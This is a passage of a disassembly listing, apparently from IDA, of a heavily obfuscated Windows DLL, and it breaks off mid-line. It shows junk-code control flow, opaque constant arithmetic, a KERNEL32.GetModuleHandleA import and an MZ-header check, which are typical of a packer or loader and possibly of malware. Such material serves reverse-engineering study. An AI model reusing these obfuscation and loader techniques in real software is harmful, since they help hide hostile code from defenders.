FUNCTION CHUNK AT 1001965D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100198D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019EE9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A84E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A8EF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A973 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B068 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B6E9 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001BA4F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001BC6E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001C0B1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CD70 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001CDBD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CEC2 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 1001D9FD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DBE6 SIZE 00000005 BYTES mov [ebp-9], al mov al, [ebp-0Ah] and al, 7 mov [ebp-0Bh], al xor eax, eax mov al, [ebp-0Bh] loc_10019419: ; CODE XREF: sub_100180C2+4023j mov ecx, 8 jmp loc_100186D5 sub_10019409 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10019423 proc near ; CODE XREF: sub_10019030-17EFp ; an.kk9rg:10019B7Dj xchg edi, [esp+0] pop edi call nullsub_1 pop ecx pop ecx pop ebp retn sub_10019423 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10019430: ; CODE XREF: an.kk9rg:10016C48j jmp locret_10016F13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10019435: ; CODE XREF: sub_1001ABFD+8j push eax mov eax, ecx loc_10019438: ; CODE XREF: an.kk9rg:100160C8j xchg eax, [esp+4+var_4] mov [ebp+var_4], eax mov eax, [ebp+var_4] jmp loc_10017987 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B8D3 loc_10019446: ; CODE XREF: sub_10013389:loc_1001ADA4j ; sub_1001B8D3:loc_1001B8D7j pop esi mov eax, [eax] call sub_1001CBA8 loc_1001944E: ; CODE XREF: sub_10016F7F+Aj or esi, 0EF26D417h rol esi, 1Eh sub esi, 4FA89D6Dh add esi, 63B01C4Eh jmp loc_1001DF33 ; END OF FUNCTION CHUNK FOR sub_1001B8D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_10019468: ; CODE XREF: sub_10015988:loc_1001C85Bj jz loc_10016F60 jmp loc_10018C1D ; END OF FUNCTION CHUNK FOR sub_10015988 ; =============== S U B R O U T I N E ======================================= sub_10019473 proc near ; CODE XREF: sub_10018798:loc_100193A1p ; an.kk9rg:1001AC0Cj ; FUNCTION CHUNK AT 10014EE6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001860C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A9EA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001B34D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D938 SIZE 00000019 BYTES xchg edx, [esp+0] loc_10019476: ; CODE XREF: an.kk9rg:loc_10018C70j pop edx push 0F69C1431h pop eax xor eax, 1798A31Eh and eax, 0FC2B96A6h jmp loc_1001D938 sub_10019473 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001948E: ; CODE XREF: sub_10016D66:loc_1001A360j mov eax, [ebp-8] push esi mov esi, edi xchg esi, [esp+0Ch+var_C] mov edi, eax jmp loc_10016B7C ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_1001949E: ; CODE XREF: sub_10019030:loc_10017846j xor edx, 0DA31F2C0h add edx, 81B455DCh add edx, ebp push esi push 9BE2B361h jmp loc_10014F89 ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- loc_100194B7: ; CODE XREF: an.kk9rg:1001A30Dj pop edx ; START OF FUNCTION CHUNK FOR sub_10013061 loc_100194B8: ; CODE XREF: sub_10013061+7292j or edx, 9B1DFC5Ah xor edx, 0F0C8F5EFh add edx, ebp add edx, 0D0EAF7E7h call sub_10015988 loc_100194D1: ; CODE XREF: sub_1001909F+3j jmp loc_10017492 ; END OF FUNCTION CHUNK FOR sub_10013061 ; =============== S U B R O U T I N E ======================================= sub_100194D6 proc near ; CODE XREF: sub_10016D04-F2Dj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 1001A33C SIZE 0000001A BYTES push ebx push 0BBA63478h pop ebx or ebx, 0F0E34EBEh jmp loc_1001A33C sub_100194D6 endp ; --------------------------------------------------------------------------- loc_100194E8: ; CODE XREF: an.kk9rg:10019F8Dj sub edx, ecx ; =============== S U B R O U T I N E ======================================= sub_100194EA proc near ; CODE XREF: sub_1001498A+8236p ; FUNCTION CHUNK AT 10016E9F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10016EE5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10017992 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10018C89 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 10018F65 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10019282 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019EBF SIZE 0000002A BYTES ; FUNCTION CHUNK AT 1001A41E SIZE 00000025 BYTES ; FUNCTION CHUNK AT 1001A8D6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B647 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001B8A9 SIZE 0000001E BYTES xchg edx, [esp+0] pop edx cmp eax, [ebp-14h] jmp loc_10019EBF sub_100194EA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_100194F6: ; CODE XREF: sub_1001ABFD:loc_10014120j ; sub_1001ABFD-876j mov eax, [ebp+var_4] cmp byte ptr [eax], 0F1h jnz loc_1001D0F2 jmp loc_1001C300 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- loc_10019507: ; CODE XREF: an.kk9rg:loc_10016DE2j mov [ebp-10h], eax mov eax, [ebp-10h] mov eax, [eax+60h] add eax, [ebp-4] jmp loc_10015A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017D86 loc_10019518: ; CODE XREF: sub_10017D86:loc_1001D034j jnz loc_10014949 jmp loc_100162E0 ; END OF FUNCTION CHUNK FOR sub_10017D86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190DC loc_10019523: ; CODE XREF: sub_100190DC+1121j add eax, 197B4D0Ah mov eax, [eax] mov al, [eax] sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] jmp loc_10013037 ; END OF FUNCTION CHUNK FOR sub_100190DC ; --------------------------------------------------------------------------- sbb edi, ebx jnp loc_10014DAA jmp sub_10016AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_10019546: ; CODE XREF: sub_100174F4+AD1j ja loc_100136E3 or ecx, esi or edi, 0EF845F33h ror esi, 15h jmp loc_1001A3AA ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- locret_1001955C: ; CODE XREF: an.kk9rg:10014784j retn ; --------------------------------------------------------------------------- locret_1001955D: ; CODE XREF: an.kk9rg:loc_1001C82Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_1001955E: ; CODE XREF: sub_1001C6B0-7758j jnz loc_1001C489 jmp loc_100168EA ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_10019569: ; CODE XREF: sub_100145ED-39Aj rol edi, 0Ch jmp loc_1001CDCE ; END OF FUNCTION CHUNK FOR sub_100145ED ; =============== S U B R O U T I N E ======================================= sub_10019571 proc near ; CODE XREF: sub_1001C185-7387p ; an.kk9rg:10018BE5j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10013B2B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014C27 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001550C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016DC3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10017C56 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 100188D0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019695 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001972A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001A5D2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B517 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001D6DC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DB44 SIZE 00000011 BYTES xchg esi, [esp+0] pop esi mov ebp, esp push edx mov edx, ecx xchg edx, [esp+0] mov esp, ebp jmp loc_1001B517 sub_10019571 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_10019584: ; CODE XREF: sub_1001456F+580j sub edx, 8CBB98BAh test ecx, 0C9693F75h jmp loc_1001AE64 ; END OF FUNCTION CHUNK FOR sub_1001456F ; =============== S U B R O U T I N E ======================================= sub_10019595 proc near ; DATA XREF: sub_1001893F+843o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10014658 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10016718 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001684C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10016B5E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016FFC SIZE 0000001F BYTES ; FUNCTION CHUNK AT 10017574 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018AD2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001938C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10019986 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10019C40 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CE2A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001D68F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001D9B9 SIZE 0000000E BYTES mov eax, [ebp-4] mov al, [eax] jb loc_10014658 call sub_1001504E loc_100195A5: ; CODE XREF: an.kk9rg:10016ABBj jge loc_1001CE2A loc_100195AB: ; CODE XREF: an.kk9rg:10017F6Dp xchg ebx, [esp+0] pop ebx push edx jmp loc_10017574 sub_10019595 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_100195B5: ; CODE XREF: sub_10016D66:loc_10017982j jge loc_10016EFF ; END OF FUNCTION CHUNK FOR sub_10016D66 ; START OF FUNCTION CHUNK FOR sub_1001725E loc_100195BB: ; CODE XREF: sub_1001725E+17F8j jmp loc_1001528F ; END OF FUNCTION CHUNK FOR sub_1001725E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_100195C0: ; CODE XREF: sub_10016734-1F28j jmp loc_10013AE5 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- test edi, edx jmp loc_100185A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_100195CC: ; CODE XREF: sub_10013BB8:loc_1001D029j xor edx, 38A28014h add edx, ebp add edx, 616ADBBFh mov edx, [edx] mov dl, [edx] push offset sub_1001BC80 jmp nullsub_134 ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; =============== S U B R O U T I N E ======================================= sub_100195E8 proc near ; DATA XREF: sub_10014B85+3o push ecx call sub_10016B81 sub_100195E8 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_100195EE: ; CODE XREF: sub_10015D9E+65A2j jmp loc_1001CD45 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100195F3 proc near ; DATA XREF: sub_10016802o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] mov al, [eax] call sub_10018066 sub_100195F3 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10019604: ; CODE XREF: sub_10016D66:loc_1001B6AEj jmp loc_10014B0C ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_10019609: ; CODE XREF: sub_100188EE+1C2Aj jmp loc_1001D2CA ; END OF FUNCTION CHUNK FOR sub_100188EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E17 loc_1001960E: ; CODE XREF: sub_10019E17:loc_100153A1j jmp nullsub_53 ; END OF FUNCTION CHUNK FOR sub_10019E17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_10019613: ; CODE XREF: sub_1001537B+39D7j mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_100155C2 jmp loc_1001DE99 ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- dword_10019624 dd 7327ACADh, 9133D8ACh, 8D1B91B8h ; sub_100180C2+125Fo db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10019631: ; CODE XREF: sub_100142E8+68E2j jmp loc_1001D6F4 ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- dw 7422h byte_10019638 db 1 ; DATA XREF: sub_100191F9+Bw ; sub_1001A3F4+3r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10019639: ; CODE XREF: sub_1001A97E-250Ej jmp loc_10017FD5 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D392 loc_1001963E: ; CODE XREF: sub_1001D392-6B9Dj jmp loc_1001BA27 ; END OF FUNCTION CHUNK FOR sub_1001D392 ; --------------------------------------------------------------------------- db 27h dword_10019644 dd 1B8CE8B9h, 0D823C5C6h, 112E006Chdword_10019650 dd 7C900000h ; sub_1001A3F4:loc_1001DAE7r dword_10019654 dd 0 ; sub_10015A4A-1EBAw ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015DB9 loc_10019658: ; CODE XREF: sub_10015DB9+11j jmp loc_1001588F ; END OF FUNCTION CHUNK FOR sub_10015DB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001965D: ; CODE XREF: sub_10019409-4D0Aj jmp loc_10019EE9 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- align 4 dword_10019664 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_10013389+812r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001558A loc_10019668: ; CODE XREF: sub_1001558A+1j jmp loc_1001DBBE ; END OF FUNCTION CHUNK FOR sub_1001558A ; --------------------------------------------------------------------------- cmp ebp, 6750DACAh jmp loc_1001C2F3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100178C9 loc_10019679: ; CODE XREF: sub_100178C9+Fj jmp loc_10014133 ; END OF FUNCTION CHUNK FOR sub_100178C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001967E: ; CODE XREF: sub_10013389+1CCj jmp nullsub_41 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BA9 loc_10019683: ; CODE XREF: sub_10015BA9:loc_1001C4E5j mov eax, ebp push offset sub_10018B4A jmp nullsub_106 ; END OF FUNCTION CHUNK FOR sub_10015BA9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10019690: ; CODE XREF: sub_10013389+8182j jmp nullsub_73 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_10019695: ; CODE XREF: sub_10019571+1C7j jmp loc_1001DB44 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001969A: ; CODE XREF: sub_1001564A:loc_10017B03j jmp nullsub_79 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_1001969F: ; CODE XREF: sub_100174F4:loc_100173C2j jmp loc_1001428B ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B20 loc_100196A4: ; CODE XREF: sub_10016B20+3j jmp loc_10015845 ; END OF FUNCTION CHUNK FOR sub_10016B20 ; --------------------------------------------------------------------------- ja loc_1001D847 jmp sub_1001D862 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_100196B5: ; CODE XREF: sub_10018E79+13j jmp loc_10019094 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- loc_100196BA: ; CODE XREF: an.kk9rg:10016A93j jmp loc_1001760B ; --------------------------------------------------------------------------- call nullsub_2 mov dword ptr [ebp-4], 1 mov eax, 0 or eax, eax jz loc_1001D0B6 jmp loc_100180D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_100196DD: ; CODE XREF: sub_1001498A:loc_10016299j mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx push edx jmp loc_10014088 ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_100196EB: ; CODE XREF: sub_10015086-151Aj add esp, 8 mov eax, [eax] add eax, [ebp-4] call sub_1001ADAE loc_100196F8: ; CODE XREF: an.kk9rg:10018651j jmp loc_1001B89E ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100182D9 loc_100196FD: ; CODE XREF: sub_100182D9+20j jmp loc_10017048 ; END OF FUNCTION CHUNK FOR sub_100182D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A024 loc_10019702: ; CODE XREF: sub_1001A024:loc_10016C2Cj xor eax, 0B1E06918h add eax, ebp push offset loc_100179FF jmp loc_100188C6 ; END OF FUNCTION CHUNK FOR sub_1001A024 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10019714: ; CODE XREF: sub_10018066+506Fj jz loc_1001B00C jmp loc_10017FA8 ; END OF FUNCTION CHUNK FOR sub_10018066 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_193. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_10019720: ; CODE XREF: sub_100130C7+543Fj jmp loc_1001A0EC ; END OF FUNCTION CHUNK FOR sub_100130C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10019725: ; CODE XREF: sub_100136D7+35E3j jmp loc_10019FBE ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_1001972A: ; CODE XREF: sub_10019571:loc_100188D0j call sub_1001534D push ebp mov ebp, eax xchg ebp, [esp+4+var_4] ror eax, 0Fh jmp loc_10019695 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001973D: ; CODE XREF: sub_100193F2-382Cj ; an.kk9rg:loc_10015DABj imul byte ptr [edx] cmp al, 0A4h loc_10019741: ; CODE XREF: sub_10019409-3F24j jz loc_1001CAE7 jmp loc_100138F2 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_1001974D: ; CODE XREF: sub_1001537B-77j test edi, 0B0B7F9BEh jmp loc_1001B379 ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_10019758: ; CODE XREF: sub_100180C2:loc_10018DC3j mov eax, (offset loc_10013FEE+2) call sub_1001ABB4 mov eax, [ebp+var_4] mov esp, ebp call sub_1001ABAE loc_1001976C: ; CODE XREF: sub_1001A97E+196Fj jmp loc_100182FE ; END OF FUNCTION CHUNK FOR sub_100180C2 ; =============== S U B R O U T I N E ======================================= sub_10019771 proc near ; CODE XREF: an.kk9rg:10017627j ; sub_100136D7+46D7p ; FUNCTION CHUNK AT 1001456A SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx pushf push offset loc_10019345 jmp loc_1001456A sub_10019771 endp ; --------------------------------------------------------------------------- loc_10019780: ; CODE XREF: an.kk9rg:loc_10018397j pop edx and ecx, 66B44C26h add ecx, 73C5ECCAh add ecx, ebp ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001978F: ; CODE XREF: sub_1001C535:loc_1001CFDAj add ecx, 8BA60B10h mov [ecx], eax pop ecx mov eax, [ebp-4] cmp word ptr [eax], 5A4Dh jnz loc_1001B00C jmp loc_1001A174 ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- pop esi jmp sub_10018E79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014F93 loc_100197B1: ; CODE XREF: sub_10014F93+1Bj xor eax, 365F8050h add eax, 48968CABh xor eax, 0C665336Dh add eax, ebp jmp loc_1001B81E ; END OF FUNCTION CHUNK FOR sub_10014F93 ; --------------------------------------------------------------------------- loc_100197CA: ; DATA XREF: sub_1001A97E+EBCo mov [edi], eax pop edi retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_100197CE: ; CODE XREF: sub_1001564A+44FAj jmp loc_100171AC ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- loc_100197D3: ; CODE XREF: an.kk9rg:1001A098j rol eax, 18h push ebp mov ebp, ecx xchg ebp, [esp] push eax jmp loc_10017227 ; --------------------------------------------------------------------------- jns loc_1001D926 mov [edx], ecx jmp sub_10017BF9 ; --------------------------------------------------------------------------- loc_100197EF: ; CODE XREF: an.kk9rg:1001AFD3j ; an.kk9rg:loc_1001AFF9j push 1388h call sub_1001CB33 call sub_1001886B ; START OF FUNCTION CHUNK FOR sub_1001C547 loc_100197FE: ; CODE XREF: sub_1001C547-3530j jmp loc_10014E3E ; END OF FUNCTION CHUNK FOR sub_1001C547 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10019803: ; CODE XREF: sub_10016D04-20E8j jmp loc_100170E6 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_10019808: ; CODE XREF: sub_10015B5D:loc_1001CC02j jz loc_1001CB10 jmp loc_1001B5BB ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_10019813: ; CODE XREF: sub_1001BB72:loc_1001CDB8j and edx, 3A9D5304h xor edx, 6306636Fh add edx, ebp add edx, 947CCC91h mov edx, [edx] push offset sub_1001D251 jmp loc_1001B8E9 ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; --------------------------------------------------------------------------- call sub_100163BA ; START OF FUNCTION CHUNK FOR sub_1001504E loc_10019838: ; CODE XREF: sub_1001504E+5F1Fj jmp loc_1001DC35 ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_1001983D: ; CODE XREF: sub_10015C77+2AEFj jmp loc_1001C4C8 ; END OF FUNCTION CHUNK FOR sub_10015C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100141C1 loc_10019842: ; CODE XREF: sub_100141C1+1j jmp loc_1001D894 ; END OF FUNCTION CHUNK FOR sub_100141C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_10019847: ; CODE XREF: sub_10019030:loc_1001CD98j pop esi mov edx, [edx] imul byte ptr [edx] loc_1001984C: ; CODE XREF: sub_10017394:loc_1001618Ej cmp al, 0A4h jmp loc_10019037 ; END OF FUNCTION CHUNK FOR sub_10019030 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015A60 loc_10019854: ; CODE XREF: sub_10015A60+13j jmp loc_1001D7FC ; END OF FUNCTION CHUNK FOR sub_10015A60 ; --------------------------------------------------------------------------- loc_10019859: ; CODE XREF: an.kk9rg:1001C719j xor esi, ecx ; =============== S U B R O U T I N E ======================================= sub_1001985B proc near ; CODE XREF: sub_10016B81-27D4p ; FUNCTION CHUNK AT 10016A4B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017E18 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018CD4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001A98F SIZE 00000021 BYTES xchg esi, [esp+0] pop esi mov eax, [eax] mov al, [eax] jmp loc_10018CD4 sub_1001985B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015190 loc_10019868: ; CODE XREF: sub_10015190+Cj xor eax, eax mov al, [ebp-0Ah] shr eax, 4 push offset sub_100142CF jmp nullsub_46 ; END OF FUNCTION CHUNK FOR sub_10015190 ; --------------------------------------------------------------------------- loc_1001987A: ; CODE XREF: an.kk9rg:1001D3FBj jge loc_1001B695 sub ebp, 4B673D4Ah ; =============== S U B R O U T I N E ======================================= sub_10019886 proc near ; CODE XREF: sub_10013389+1355p ; sub_1001ABFD+734j xchg ecx, [esp+0] pop ecx pop ebp retn sub_10019886 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001988C proc near ; DATA XREF: sub_1001384D+Do add esi, 62C05FDBh xchg esi, [esp+0] jmp sub_100181E1 sub_1001988C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_170. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D1DB loc_1001989B: ; CODE XREF: sub_1001D1DB-6ADj jmp sub_1001D1DB ; END OF FUNCTION CHUNK FOR sub_1001D1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_100198A0: ; CODE XREF: sub_100136D7+10j jmp loc_1001698F ; END OF FUNCTION CHUNK FOR sub_100136D7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_100198A7: ; CODE XREF: sub_10017643+1Fj jmp loc_1001852E ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_100198AC: ; CODE XREF: sub_1001504E-84Dj jmp loc_1001CE84 ; END OF FUNCTION CHUNK FOR sub_1001504E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D50B loc_100198B2: ; CODE XREF: sub_1001D50B-9EE8j jmp sub_1001CC01 ; END OF FUNCTION CHUNK FOR sub_1001D50B ; --------------------------------------------------------------------------- loc_100198B7: ; CODE XREF: an.kk9rg:1001AB44j push 0E0D1C879h pop eax rol eax, 1Fh xor eax, 1D014698h or eax, 0E25CEB86h jmp loc_1001434F ; --------------------------------------------------------------------------- loc_100198D1: ; CODE XREF: an.kk9rg:loc_1001C7F6j pop eax pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100198D4: ; CODE XREF: sub_10019409-2B4Ej jmp loc_100155CC ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- loc_100198D9: ; CODE XREF: an.kk9rg:10014796j jmp loc_1001C641 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_10015C42 ; =============== S U B R O U T I N E ======================================= sub_100198E6 proc near ; CODE XREF: an.kk9rg:1001B5DEj ; sub_10013389+90ECp ; FUNCTION CHUNK AT 1001578D SIZE 00000005 BYTES ; FUNCTION 